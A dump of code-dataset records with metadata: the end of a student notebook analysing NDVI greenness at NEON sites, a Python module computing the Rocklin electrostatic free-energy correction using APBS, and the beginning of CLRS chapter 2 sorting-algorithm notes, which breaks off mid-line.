In[11]:\n\n\n# Ignore this cell for the autograding tests\n\n\n# In[12]:\n\n\n# Ignore this cell for the autograding tests\n\n\n# # Question 1 (10 points)\n# \n# Imagine that you are planning NEON\u2019s upcoming flight season to capture remote sensing data in these locations and want to ensure that you fly the area when the vegetation is the most green.\n# \n# When would you recommend the flights take place for each site? \n# \n# Answer the question in 2-3 sentences in the Markdown cell below.\n\n# For the HARV field site, I'd suggest flying during the summer months (Jun-Sep) to capture \"leaf-on\" conditions. With the SJER site, late-winter/early-spring (Feb-May; wetter months) appear to be the most favorable for acquiring the \"greenest\" vegetation. The predominant control on vegetation \"greenness\" is likely temperature for the HARV site while for the SJER site it is precipitation.\n\n# # Question 2 (10 points)\n# \n# How could you modify your workflow to look at vegetation changes over time in each site? \n# \n# Answer the question in 2-3 sentences in the Markdown cell below.\n\n# Having a longer time series would be another way to look at the change through time. You could calculate the mean NDVI for each scene then aggregate by month/year/season. I'm not sure the code would change tremendously, although there might be another temporal directory level you'd need to loop through. That said, you could potentially bypass significant changes in that you could create a \"master\" pandas df containing all this information and perform the temporal grouping using pandas functionality (akin to what we did in the time-series and final lesson in the bootcamp during the fall....if memory serves me correct).\n\n# # Do not edit this cell! (10 points)\n# \n# The notebook includes:\n# * additional Markdown cells throughout the notebook to describe: \n#     * the data that you used - and where it is from\n#     * how data are being processing\n#     * how the code is optimized to run fast and be more concise\n\n# # Do not edit this cell! (20 points)\n# \n# The notebook will also be checked for overall clean code requirements as specified at the **top** of this notebook. Some of these requirements include (review the top cells for more specifics): \n# \n# * Notebook begins at cell [1] and runs on any machine in its entirety.\n# * PEP 8 format is applied throughout (including lengths of comment and code lines).\n# * No additional code or imports in the notebook that is not needed for the workflow.\n# * Notebook is fully reproducible. This means:\n#    * reproducible paths using the os module.\n#    * data downloaded using code in the notebook.\n#    * all imports at top of notebook.\n\n# ## BONUS - Export a  .CSV File to Share (10 points possible)\n# \n# This is optional - if you export a **.csv** file with the columns specified above: Site, Date and NDVI Value you can get an additional 10 points.\n# \n# * FULL CREDIT: File exists in csv format and contains the columns specified.\n# We will check your github repo for this file!\n# \n\n# In[13]:\n\n\n# Write pandas df to disk as a csv file\n# Note this file represents the df with nan values removed\nout_csv = final_df.to_csv(os.path.join(\"ndvi-automation\",\n                                       \"outputs\",\n                                       \"mean_ndvi.csv\"))\n\n\n# In[ ]:\n\n\n\n\n", "meta": {"hexsha": "1e61975e6db021dd9852bcd70d0aedd74d358f45", "size": 23817, "ext": "py", "lang": "Python", "max_stars_repo_path": "sutherland_mike_ndvi.py", "max_stars_repo_name": "sutherm/ea-2021-ndvi-automation-review", "max_stars_repo_head_hexsha": "58d9aacfd866971c13091693832513d2bf46e14a", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "sutherland_mike_ndvi.py", "max_issues_repo_name": "sutherm/ea-2021-ndvi-automation-review", "max_issues_repo_head_hexsha": "58d9aacfd866971c13091693832513d2bf46e14a", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "sutherland_mike_ndvi.py", "max_forks_repo_name": "sutherm/ea-2021-ndvi-automation-review", "max_forks_repo_head_hexsha": "58d9aacfd866971c13091693832513d2bf46e14a", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 39.4321192053, "max_line_length": 845, "alphanum_fraction": 0.7111726918, "include": true, "reason": "import numpy,from numpy", "num_tokens": 5704, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.35936415888237616, "lm_q2_score": 0.23370635157681105, "lm_q1q2_score": 0.08398568645986959}}
{"text": "\"\"\"\nrocklin_correction.py\nA python module for performing Rocklin Correction.\n\nHandles the primary functions\n\"\"\"\n\nfrom pkg_resources import resource_filename\nfrom subprocess import call\n\nimport quantities as pq\nimport numpy as np\nfrom gridData import Grid\nimport MDAnalysis as mda\n\nfrom . import constants\nfrom .waters import TIP3P\n\nclass RocklinCorrection():\n    def __init__(self, box, lig_netq, protein_netq, temp=None, water=None):\n        '''\n        Parameters\n        ----------\n        box : array\n            The unitcell dimensions of the system ``[lx, ly, lz]``.\n        lig_netq: float\n            The unit charge of the ligand.\n        protein_netq : float\n            The unit charge of the protein.\n        temp : float\n            The temperature of the system in K.\n        water : water\n            The water model being used.\n        '''\n        self.box = pq.Quantity(box, pq.angstrom)\n        self.vol = self.box[0] * self.box[1] * self.box[2]\n        self.lig_netq = pq.Quantity(lig_netq, pq.e)\n        self.protein_netq = pq.Quantity(protein_netq, pq.e)\n\n        if temp is None:\n            self.temp = 298.15 * pq.Kelvin\n        else:\n            self.temp = pq.Quantity(temp, pq.Kelvin)\n        if water is None:\n            self.water = TIP3P\n        else:\n            self.water = water\n\n    def set_APBS_input(self, NS, box=None, qL=None, qP=None,\n                       in_prot_only='prot_only.pqr',\n                       in_lig_in_prot='lig_in_prot.pqr',\n                       in_lig_only='lig_only.pqr',\n                       apbs_in='apbs.in'):\n        ''' Manually set the input file for the APBS calculations.\n\n        Parameters\n        ----------\n        NS : int\n            The number of solvent molecule in the system.\n        box : array, optional\n            The unitcell dimensions of the system ``[lx, ly, lz]`` for APBS\n            calculations.\n        qL: float, optional\n            The unit charge of the ligand.\n        qP : float, optional\n            The unit charge of the protein.\n        in_prot_only : str, optional\n            The name of the pqr file where the ligand has no partial charge.\n            (``prot_only.pqr``)\n        in_lig_in_prot : str, optional\n            The name of the pqr file where the protein has no partial charge.\n            (``lig_in_prot.pqr``)\n        in_lig_only : str, optional\n            The name of the pqr file of the ligand.\n            (``lig_only.pqr``)\n        apbs_in: str, optional\n            The input file to the APBS program. (``apbs.in``)\n        '''\n        self.NS = NS\n\n        if box is None:\n            self.apbs_box = self.box\n        else:\n            self.apbs_box = pq.Quantity(box, pq.angstrom)\n\n        if qL is None:\n            self.apbs_qL = self.lig_netq\n        else:\n            self.apbs_qL = pq.Quantity(qL, pq.e)\n\n        if qP is None:\n            self.apbs_qP = self.protein_netq\n        else:\n            self.apbs_qP = pq.Quantity(qP, pq.e)\n\n        self.apbs_vol = np.prod(self.apbs_box)\n\n        self.in_prot_only = in_prot_only\n        self.in_lig_in_prot = in_lig_in_prot\n        self.in_lig_only = in_lig_only\n        self.IP = None\n\n        self._write_APBS_input(apbs_in)\n\n\n    def make_APBS_input(self, universe, ligand_selection,\n                        solvent_selection='resname SOL',\n                        in_prot_only='prot_only.pqr',\n                        in_lig_in_prot='lig_in_prot.pqr',\n                        in_lig_only='lig_only.pqr',\n                        apbs_in='apbs.in'):\n        ''' Automatically setup the input file for the APBS calculations.\n\n        Parameters\n        ----------\n        universe : MDAnalysis.Universe\n            The Universe object of the system, where the coordinate,\n            partial charge, radii and system dimension will be obtained.\n        ligand_selection: str\n            The selection string for the ligand.\n        solvent_selection : str, optional\n            The selection string for the solvent. (``resname SOL``)\n        in_prot_only : str, optional\n            The name of the pqr file where the ligand has no partial charge.\n            (``prot_only.pqr``)\n        in_lig_in_prot : str, optional\n            The name of the pqr file where the protein has no partial charge.\n            (``lig_in_prot.pqr``)\n        in_lig_only : str, optional\n            The name of the pqr file of the ligand.\n            (``lig_only.pqr``)\n        apbs_in: str, optional\n            The input file to the APBS program. (``apbs.in``)\n\n        Attributes\n        ----------\n        IP : float\n            The integrated potential of protein will be set to 0, if no\n            protein is found.\n        NS : int\n            The number of solvent molecules in the system.\n        '''\n        self.in_prot_only = in_prot_only\n        self.in_lig_in_prot = in_lig_in_prot\n        self.in_lig_only = in_lig_only\n\n\n        box = universe.dimensions[:3]\n        self.apbs_box = box * pq.angstrom\n        charges = universe.atoms.charges\n        \n\n        # Charge only the ligand\n        universe.select_atoms('not {}'.format(ligand_selection)).charges = 0\n        self.apbs_qL = np.sum(universe.atoms.charges) * pq.e\n        universe.select_atoms('not {}'.format(solvent_selection)).write(in_lig_in_prot)\n        # Charge only the Rest of the system\n        universe.atoms.charges = charges\n        universe.select_atoms('{}'.format(ligand_selection)).charges = 0\n        self.apbs_qP = np.sum(universe.atoms.charges) * pq.e\n        universe.select_atoms('not {}'.format(solvent_selection)).write(in_prot_only)\n        # Restore the charge\n        universe.atoms.charges = charges\n\n        # Check if there is anything other than ligand and solvent\n        if len(universe.select_atoms('not (({}) or ({}))'.format(ligand_selection, solvent_selection))) > 0:\n            self.IP = None\n        else:\n            self.IP = 0\n\n        # Ligand for centering\n        universe.select_atoms('{}'.format(ligand_selection)).write(in_lig_only)\n        self.NS = len(universe.select_atoms(solvent_selection).residues)\n\n        self._write_APBS_input(apbs_in)\n\n    def _write_APBS_input(self, apbs_in):\n        with open(resource_filename(__name__, 'data/apbs.in'), 'r') as f:\n            txt = f.read()\n        box = self.apbs_box\n        with open(apbs_in, 'w') as f:\n            f.write(txt.format(prot_only=self.in_prot_only,\n                               lig_in_prot=self.in_lig_in_prot,\n                               lig_only=self.in_lig_only,\n                               x=box[0].magnitude, y=box[1].magnitude, z=box[2].magnitude,\n                               e=self.water.epsilon_S,\n                               t=self.temp.magnitude,))\n\n    def run_APBS(self, apbs_exe='/opt/local/bin/apbs', apbs_in='apbs.in'):\n        ''' Running the APBS calculations, which is the same as ::\n\n          apbs apbs.in\n\n        Parameters\n        ----------\n        apbs_exe : str, optional\n            The path to the APBS program.\n            (``/opt/local/bin/apbs``)\n        apbs_in: str, optional\n            The input file to the APBS program. (``apbs.in``)\n        apbs_out : str, optional\n            The output file for the APBS calculation. (``apbs.out``)\n        '''\n        call([apbs_exe, apbs_in])\n\n    def _dx2IP(self, dx):\n        g = Grid(dx)\n        V = ((np.prod(g.delta*pq.angstrom)) * np.prod(g.grid.shape))\n        self.apbs_vol = V\n        return np.average(g.grid) * (1/pq.e) * (constants.kB * self.temp) * V\n\n    def read_APBS(self, ligand_RIP_het='ligand_RIP_het.dx',\n                  protein_RIP_het='protein_RIP_het.dx',\n                  ligand_RIP_hom='ligand_RIP_hom.dx', IP=None, mean_IP=None):\n        ''' Read the result from the APBS calculations.\n\n        Parameters\n        ----------\n        ligand_RIP_het : str, optional\n            The APBS program output (``ligand_RIP_het.dx``).\n        protein_RIP_het : str, optional\n            The APBS program output (``protein_RIP_het.dx``).\n        ligand_RIP_hom : str, optional\n            The APBS program output (``ligand_RIP_hom.dx``).\n        IP : float, optional\n            If system only has ligand, set the integrated potential of protein\n            to 0.\n        '''\n        # For robust\n        try:\n            self.apbs_qL\n        except AttributeError:\n            self.apbs_qL = self.lig_netq\n\n        try:\n            self.apbs_qP\n        except AttributeError:\n            self.apbs_qP = self.protein_netq\n\n        # Ligand Het\n        IL_Bx = self._dx2IP(ligand_RIP_het)\n        IL_BQx = (-constants.xi_CB * constants.coulomb_factor / self.water.epsilon_S) * self.apbs_qL * (self.apbs_vol ** (2.0 / 3.0))\n        self.IL = IL_Bx - IL_BQx\n        # Protein Het\n        if IP is not None:\n            self.IP = IP\n        if mean_IP is not None:\n            IP_Bx = mean_IP * (1 / pq.e) * (constants.kB * self.temp) * self.vol\n            IP_BQx = (-constants.xi_CB * constants.coulomb_factor / self.water.epsilon_S) * self.apbs_qP * (self.apbs_vol ** (2.0 / 3.0))\n            self.IP = IP_Bx - IP_BQx\n\n        if self.IP is None:\n            IP_Bx = self._dx2IP(protein_RIP_het)\n            IP_BQx = (-constants.xi_CB * constants.coulomb_factor / self.water.epsilon_S) * self.apbs_qP * (self.apbs_vol ** (2.0 / 3.0))\n            self.IP = IP_Bx - IP_BQx\n        else:\n            self.IP = pq.Quantity(self.IP, self.IL.units)\n        # Ligand Het\n        IL_hom_Bx = self._dx2IP(ligand_RIP_hom)\n        IL_hom_BQx = (-constants.xi_CB * constants.coulomb_factor / 1) * self.apbs_qL * (self.apbs_vol ** (2.0 / 3.0))\n        IL_hom = IL_hom_Bx - IL_hom_BQx\n        self.IL_SLV = self.IL - IL_hom\n\n\n    def compute(self, NS=None):\n        ''' Compute the result.\n\n        Parameters\n        ----------\n        NS : int, optional\n            Rest the number of solvent molecules.\n\n        Returns\n        -------\n        results : float\n            The total correction free energy in cal/mol.\n        '''\n        if NS:\n            self.NS = NS\n        delta_DSC = - (self.water.gamma_s * self.lig_netq) / (6 * constants.epsilon_0) * self.NS / self.vol\n        delta_NET = - constants.xi_LS / (8 * np.pi * constants.epsilon_0) * (\n                    (self.protein_netq + self.lig_netq) ** 2 - self.protein_netq ** 2) / (self.vol ** (1/3))\n        delta_NET_delta_USV = delta_NET / self.water.epsilon_S\n        delta_RIP = ((self.IP + self.IL) * (self.protein_netq + self.lig_netq) - self.IP * self.protein_netq) / self.apbs_vol\n        RL = ((1 / (8 * np.pi * constants.epsilon_0) * (4 * np.pi / 3) * (\n                    1 - 1 / self.water.epsilon_S) * self.lig_netq) ** -1 * self.IL_SLV) ** 0.5\n        delta_EMP = - 1 / (8 * np.pi * constants.epsilon_0) * (16 * np.pi ** 2 / 45) * (\n                    1 - 1 / self.water.epsilon_S) * ((self.protein_netq + self.lig_netq) ** 2 - self.protein_netq ** 2) * \\\n                    RL ** 5 / self.vol ** 2\n        delta_ANA = delta_NET_delta_USV + delta_RIP + delta_EMP\n        delta = delta_ANA + delta_DSC\n\n        self.output = []\n        self.output.append(\n            'The total correction energy is: {:.2f} kJ/mol or {:.2f} kCal/mol'.format(\n                delta.rescale(pq.J / pq.mol).item() / 1000,\n                delta.rescale(pq.cal / pq.mol).item() / 1000))\n        self.output.append(\n            '= \u0394\u0394G_ANA(L): {:.2f} kJ/mol + \u0394\u0394G_DSC(L): {:.2f} kJ/mol'.format(\n                delta_ANA.rescale(pq.J / pq.mol).item() / 1000,\n                delta_DSC.rescale(pq.J / pq.mol).item() / 1000))\n        self.output.append(\n            '\u0394\u0394G_ANA(L) = \u0394\u0394G_NET(L) + \u0394\u0394G_USV(L) + \u0394\u0394G_RIP(L) + \u0394\u0394G_EMP(L)')\n        self.output.append('\u0394\u0394G_NET(L) = {:.2f} kJ/mol'.format(\n            delta_NET.rescale(pq.J / pq.mol).item() / 1000))\n        self.output.append('\u0394\u0394G_NET(L) + \u0394\u0394G_USV(L) = {:.2f} kJ/mol'.format(\n            delta_NET_delta_USV.rescale(pq.J / pq.mol).item() / 1000))\n        self.output.append('\u0394\u0394G_RIP(L) = {:.2f} kJ/mol'.format(\n            delta_RIP.rescale(pq.J / pq.mol).item() / 1000))\n        self.output.append('\u0394\u0394G_EMP(L) = {:.2f} kJ/mol'.format(\n            delta_EMP.rescale(pq.J / pq.mol).item() / 1000))\n        return delta.rescale(pq.calorie / pq.mol)\n\n    def write(self, outfile):\n        '''Write the decomposed results\n\n        Parameters\n        ----------\n        outfile : str\n            The output file name.'''\n        with open(outfile, 'w') as f:\n            f.write('\\n'.join(self.output))\n", "meta": {"hexsha": "07708463d41aa48410a9a761f66c62ec69af5c6d", "size": 12465, "ext": "py", "lang": "Python", "max_stars_repo_path": "rocklinc/rocklin_correction.py", "max_stars_repo_name": "bigginlab/rocklinc", "max_stars_repo_head_hexsha": "1ccde59b758aee9e858972d4ed41effc6ea198e0", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "rocklinc/rocklin_correction.py", "max_issues_repo_name": "bigginlab/rocklinc", "max_issues_repo_head_hexsha": "1ccde59b758aee9e858972d4ed41effc6ea198e0", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "rocklinc/rocklin_correction.py", "max_forks_repo_name": "bigginlab/rocklinc", "max_forks_repo_head_hexsha": "1ccde59b758aee9e858972d4ed41effc6ea198e0", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 38.5913312693, "max_line_length": 137, "alphanum_fraction": 0.5628559968, "include": true, "reason": "import numpy", "num_tokens": 3304, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.523420348936324, "lm_q2_score": 0.16026602831693942, "lm_q1q2_score": 0.08388650046429122}}
{"text": "\n## python src/chapter2/chapter2.py\n## python3 src/chapter2/chapter2.py\n\nimport sys\nimport numpy as nm\nfrom numpy import arange\nimport matplotlib as mat\nimport matplotlib.pyplot as plt\n\nclass Chapter2:\n    '''\n    CLRS \u7b2c\u4e8c\u7ae0 2.1 2.2 \u7b97\u6cd5\u51fd\u6570\u548c\u7b14\u8bb0\n    '''\n    def __init__(self, ok = 1, *args, **kwargs):       \n        '''\n        Summary\n        =\n        These are notes of Peefy CLRS chapter1\n\n        Parameters\n        =\n        *args : a tuple like\n        **kwargs : a dict like\n\n        Returns\n        =\n        self\n\n        Example\n        =\n        >>> chapter2 = Chapter2(ok = 1);\n        '''\n        self.ok = ok\n\n    def __hello():\n        pass\n\n    def insertSortAscending(self, array = []):\n        '''\n        Summary\n        =\n        \u63d2\u5165\u6392\u5e8f\u7684\u5347\u5e8f\u6392\u5217\n        \n        Parameter\n        =\n        array : a list like\n        Return\n        =\n        sortedArray : \u6392\u5e8f\u597d\u7684\u6570\u7ec4\n        >>> array = [1, 3, 5, 2, 4, 6]\n        >>> Chapter2().insertSortAscending(array)\n        >>> [1, 2, 3, 4, 5, 6]\n        '''\n        A = array\n        n = len(A)\n        for j in range(1, n):\n            ## Insert A[j] into the sorted sequece A[1...j-1] \u524dn - 1 \u5f20\u724c\n            # \u4e0b\u6807j\u6307\u793a\u4e86\u5f85\u63d2\u5165\u5230\u624b\u4e2d\u7684\u5f53\u524d\u724c\uff0c\u6240\u4ee5j\u7684\u7d22\u5f15\u4ece\u6570\u7ec4\u7684\u7b2c\u4e8c\u4e2a\u5143\u7d20\u5f00\u59cb\n            # \u540e\u6765\u6478\u7684\u724c\n            key = A[j]\n            # \u4e4b\u524d\u624b\u4e2d\u7684\u5df2\u7ecf\u6392\u5e8f\u597d\u7684\u724c\u7684\u6700\u5927\u7d22\u5f15\n            i = j - 1\n            # \u5f00\u59cb\u5bfb\u627e\u63d2\u5165\u7684\u4f4d\u7f6e\u5e76\u4e14\u79fb\u52a8\u724c\n            while(i >= 0 and A[i] > key):\n                # \u5411\u53f3\u79fb\u52a8\u724c\n                A[i + 1] = A[i]\n                # \u904d\u5386\u4e4b\u524d\u7684\u724c\n                i = i - 1\n            # \u540e\u6765\u6478\u7684\u724c\u63d2\u5165\u76f8\u5e94\u7684\u4f4d\u7f6e\n            A[i + 1] = key\n        # \u8f93\u51fa\u5347\u5e8f\u6392\u5e8f\u540e\u7684\u724c\n        return A\n\n    def insertSortDescending(self, array = []):\n        '''\n        Summary\n        =\n        \u63d2\u5165\u6392\u5e8f\u7684\u964d\u5e8f\u6392\u5217\n\n        Parameter\n        =\n        array : a list like\n\n        Return\n        =\n        sortedArray : \u6392\u5e8f\u597d\u7684\u6570\u7ec4\n        >>> array = [1, 3, 5, 2, 4, 6]\n        >>> Chapter2().insertSortAscending(array)\n        >>> [6, 5, 4, 3, 2, 1]\n        '''\n        A = array\n        n = len(A)\n        for j in range(1, n):\n            ## Insert A[j] into the sorted sequece A[1...j-1] \u524dn - 1 \u5f20\u724c\n            # \u4e0b\u6807j\u6307\u793a\u4e86\u5f85\u63d2\u5165\u5230\u624b\u4e2d\u7684\u5f53\u524d\u724c\uff0c\u6240\u4ee5j\u7684\u7d22\u5f15\u4ece\u6570\u7ec4\u7684\u7b2c\u4e8c\u4e2a\u5143\u7d20\u5f00\u59cb\n            # \u540e\u6765\u6478\u7684\u724c\n            key = A[j]\n            # \u4e4b\u524d\u624b\u4e2d\u7684\u5df2\u7ecf\u6392\u5e8f\u597d\u7684\u724c\u7684\u6700\u5927\u7d22\u5f15\n            i = j - 1\n            # \u5f00\u59cb\u5bfb\u627e\u63d2\u5165\u7684\u4f4d\u7f6e\u5e76\u4e14\u79fb\u52a8\u724c\n            while(i >= 0 and A[i] < key):\n                # \u5411\u53f3\u79fb\u52a8\u724c\n                A[i + 1] = A[i]\n                # \u904d\u5386\u4e4b\u524d\u7684\u724c\n                i = i - 1\n            # \u540e\u6765\u6478\u7684\u724c\u63d2\u5165\u76f8\u5e94\u7684\u4f4d\u7f6e\n            A[i + 1] = key\n        # \u8f93\u51fa\u964d\u5e8f\u6392\u5e8f\u540e\u7684\u724c\n        return A\n\n    def arrayContains(self, array = [], v = None):\n        '''\n        Summary\n        =\n        * a function\n        * *\u68c0\u6d4b\u4e00\u4e2a\u6570\u7ec4\u4e2d\u662f\u5426\u5305\u542b\u4e00\u4e2a\u5143\u7d20*\n\n        Parameter\n        =\n        *array* : a list like\n        v : a element\n\n        Return\n        =\n        index:\u82e5\u627e\u5230\u8fd4\u56de\u627e\u5230\u7684\u7d22\u5f15\uff0c\u6ca1\u627e\u5230\u8fd4\u56deNone\n\n        Example:\n        =\n        >>> array = [12, 23, 34, 45]\n        >>> v = 23\n        >>> m = 55\n        >>> Chapter2().arrayContains(array, v)\n        >>> 1\n        >>> Chapter2().arrayContains(array, m)\n        >>> None\n        '''\n        index = None\n        length = len(array)\n        for i in range(length):\n            if v == array[i]:\n                index = i\n        return index\n\n    def twoNBinNumAdd(self, A = [], B = []):\n        '''\n        Summary\n        =\n        \u4e24\u4e2a\u5b58\u653e\u6570\u7ec4A\u548cB\u4e2d\u7684n\u4f4d\u4e8c\u8fdb\u5236\u6574\u6570\u76f8\u52a0\n\n        Parameter\n        ====\n        A : a list like and element of the list must be 0 or 1\n        B : a list like and element of the list must be 0 or 1\n\n        Return\n        ======\n        returnSum : sum of two numbers\n\n        Example:\n        =\n        >>> A = [1, 1, 0, 0]\n        >>> B = [1, 0, 0, 1]\n        >>> Chapter2().twoNBinNumAdd(A, B)\n        >>> [1, 0, 1, 0, 1]\n        '''\n        if len(A) != len(B):\n            raise Exception('length of A must be equal to length of B')\n        length = len(A)\n        # \u6ce8\u610f\uff1arange \u51fd\u6570\u548c arange \u51fd\u6570\u90fd\u662f \u5de6\u95ed\u53f3\u5f00\u533a\u95f4\n        '''\n        >>> range(0,3) \n        >>> [0, 1, 2]\n        '''\n        returnSum = arange(length + 1)\n        bitC = 0\n        for i in range(length):\n            index = length - 1 - i\n            bitSum = A[index] + B[index] + bitC\n            if bitSum >= 2:\n                bitSum = 0\n                bitC = 1\n            else:\n                bitC = 0\n            returnSum[index + 1] = bitSum\n            if index == 0:\n                returnSum[0] = bitC\n        return returnSum\n\n    def selectSortAscending(self, array = []):\n        '''\n        Summary\n        =\n        \u9009\u62e9\u6392\u5e8f\u7684\u5347\u5e8f\u6392\u5217\n        \n        Parameter\n        =\n        array : a list like\n        Return\n        =\n        sortedArray : \u6392\u5e8f\u597d\u7684\u6570\u7ec4\n        >>> array = [1, 3, 5, 2, 4, 6]\n        >>> Chapter2().selectSortAscending(array)\n        >>> [1, 2, 3, 4, 5, 6]\n        '''\n        A = array\n        length = len(A)\n        for j in range(length):\n            minIndex = j\n            # \u627e\u51faA\u4e2d\u7b2cj\u4e2a\u5230\u6700\u540e\u4e00\u4e2a\u5143\u7d20\u4e2d\u7684\u6700\u5c0f\u503c\n            # \u4ec5\u9700\u8981\u5728\u5934n-1\u4e2a\u5143\u7d20\u4e0a\u8fd0\u884c\n            for i in range(j, length):\n                if A[i] <= A[minIndex]:\n                    minIndex = i\n            # \u6700\u5c0f\u5143\u7d20\u548c\u6700\u524d\u9762\u7684\u5143\u7d20\u4ea4\u6362\n            min = A[minIndex]\n            A[minIndex] = A[j]\n            A[j] = min\n        return A\n\n    def note(self, *args, **kwargs):\n        '''\n        Summary\n        =\n        These are notes of Peefy CLRS chapter1\n\n        Parameters\n        =\n        *args : a tuple like\n        **kwargs : a dict like\n\n        Returns\n        =\n        self\n\n        Example\n        =\n        >>> Chapter2().note()\n        '''  \n        print('\u6392\u5e8f\u7b97\u6cd5\u6709\u5f88\u591a\uff0c\u5305\u62ec\u63d2\u5165\u6392\u5e8f\uff0c\u5192\u6ce1\u6392\u5e8f\uff0c\u5806\u6392\u5e8f\uff0c\u5f52\u5e76\u6392\u5e8f\uff0c\u9009\u62e9\u6392\u5e8f\uff0c\u8ba1\u6570\u6392\u5e8f\uff0c\u57fa\u6570\u6392\u5e8f\uff0c\u6876\u6392\u5e8f\uff0c\u5feb\u901f\u6392\u5e8f')\n        print('2.1 \u63d2\u5165\u6392\u5e8f')\n        print('\u63d2\u5165\u6392\u5e8f(INSERTION-SORT):\u8f93\u5165n\u4e2a\u6570\uff0c\u8f93\u51fan\u4e2a\u6570\u7684\u5347\u5e8f\u6216\u8005\u964d\u5e8f\u6392\u5217')\n        print('\u63d2\u5165\u6392\u5e8f\u662f\u4e00\u4e2a\u5bf9\u5c11\u91cf\u5143\u7d20\u8fdb\u884c\u6392\u5e8f\u7684\u6709\u6548\u7b97\u6cd5\uff0c\u5de5\u4f5c\u505a\u539f\u7406\u4e0e\u6253\u724c\u6478\u724c\u6574\u7406\u624b\u4e2d\u7684\u724c\u5dee\u4e0d\u591a')\n        print('\u4ee5\u4e0b\u662fPython\u7684\u63d2\u5165\u6392\u5e8f(\u5347\u5e8f)\u7b97\u6cd5(\u6a21\u62df\u6253\u724c)')\n        print('\u4e66\u4e2d\u7684\u4f2a\u4ee3\u7801\u6570\u7ec4\u7d22\u5f15\u4ece1\u5f00\u59cb\uff0cpython\u6570\u7ec4\u7d22\u5f15\u4ece0\u5f00\u59cb')\n        A = [4, 4.5, 2, 5, 1.2, 3.5]\n        print(\"\u5f85\u6392\u5e8f\u7684\u5e8f\u5217\uff1a\", A)\n        print(\"\u63d2\u5165\u6392\u5e8f\u540e\u7684\u5e8f\u5217\uff1a\", self.insertSortAscending(A))\n        print('\u5faa\u73af\u4e0d\u53d8\u5f0f\u4e3b\u8981\u7528\u6765\u5e2e\u52a9\u7406\u89e3\u63d2\u5165\u7b97\u6cd5\u7684\u6b63\u786e\u6027\u3002\u8bc1\u660e\u5faa\u73af\u4e0d\u53d8\u5f0f\u7684\u4e09\u4e2a\u6027\u8d28')\n        print(' 1.\u521d\u59cb\u5316\uff1a\u5728\u5faa\u73af\u7684\u7b2c\u4e00\u8f6e\u8fed\u4ee3\u5f00\u59cb\u524d\uff0c\u5e94\u8be5\u662f\u6b63\u786e\u7684')\n        print(' 2.\u4fdd\u6301\uff1a\u5982\u679c\u5728\u5faa\u73af\u7684\u67d0\u4e00\u6b21\u8fed\u4ee3\u5f00\u59cb\u4e4b\u524d\u5b83\u662f\u6b63\u786e\u7684\uff0c\u90a3\u4e48\u5728\u4e0b\u4e00\u6b21\u8fed\u4ee3\u5f00\u59cb\u524d\uff0c\u5b83\u4e5f\u5e94\u8be5\u4fdd\u6301\u6b63\u786e')\n        print(' 3.\u7ec8\u6b62\uff1a\u5f53\u5faa\u73af\u7ed3\u675f\u65f6\uff0c\u4e0d\u53d8\u5f0f\u7ed9\u4e86\u6211\u4eec\u4e00\u4e2a\u6709\u7528\u7684\u6027\u8d28\uff0c\u6709\u52a9\u4e8e\u8868\u660e\u7b97\u6cd5\u662f\u6b63\u786e\u7684')\n        print('\u6570\u5b66\u5f52\u7eb3\u6cd5\u4e2d\uff0c\u8981\u8bc1\u660e\u67d0\u4e00\u6027\u8d28\u662f\u6210\u7acb\u7684\uff0c\u5fc5\u987b\u9996\u5148\u8bc1\u660e\u5176\u57fa\u672c\u60c5\u51b5\u548c\u4e00\u4e2a\u5f52\u7eb3\u6b65\u9aa4\u90fd\u662f\u6210\u7acb\u7684')\n        print('\u63d2\u5165\u6392\u5e8f\u7684\u5faa\u73af\u4e0d\u53d8\u5f0f\u8bc1\u660e\uff1a')\n        print(' 1.\u521d\u59cb\u5316\uff1a\u63d2\u5165\u6392\u5e8f\u7b2c\u4e00\u6b65\u9996\u76f8\u5c06\u6570\u7ec4\u4e2d\u7b2c\u4e8c\u4e2a\u5143\u7d20\u5f53\u505a\u5f85\u63d2\u5165\u7684\u5143\u7d20\uff0c\u88ab\u63d2\u5165\u7684\u5143\u7d20\u53ea\u6709\u6570\u7ec4\u4e2d\u7b2c\u4e00\u5143\u7d20\uff0c\u663e\u7136\u4e00\u4e2a\u5143\u7d20\u662f\u5df2\u7ecf\u6392\u5e8f\u597d\u7684')\n        print(' 2.\u4fdd\u6301\uff1a\u8bc1\u660e\u6bcf\u4e00\u8f6e\u5faa\u73af\u90fd\u80fd\u65f6\u5faa\u73af\u4e0d\u53d8\u5f0f\u4fdd\u6301\u6210\u7acb,\u540c\u65f6\u8bc1\u660e\u5916\u5c42for\u5faa\u73af\u548c\u5185\u5c42while\u5faa\u73af\u540c\u65f6\u6ee1\u8db3\u5faa\u73af\u4e0d\u53d8\u5f0f')\n        print(' 3.\u7ec8\u6b62\uff1a\u5f53j\u5927\u4e8en\u65f6\uff0c\u5916\u5c42\u5faa\u73af\u7ed3\u675f\uff0c\u65b0\u7684\u6570\u7ec4\u5305\u542b\u4e86\u539f\u6765\u6570\u7ec4\u4e2d\u7684\u5143\u7d20\uff0c\u5e76\u4e14\u662f\u6392\u5e8f\u597d\u7684\uff0c\u7b97\u6cd5\u6b63\u786e')\n        print('\u5e03\u5c14\u8fd0\u7b97\u7b26and\u548cor\u90fd\u5177\u6709\u77ed\u8def\u8fd0\u7b97\u80fd\u529b')\n        print('\u7ec3\u4e602.1-1\uff1a\u5bf9\u4e8e\u5e8f\u5217[31, 41, 59, 26, 41, 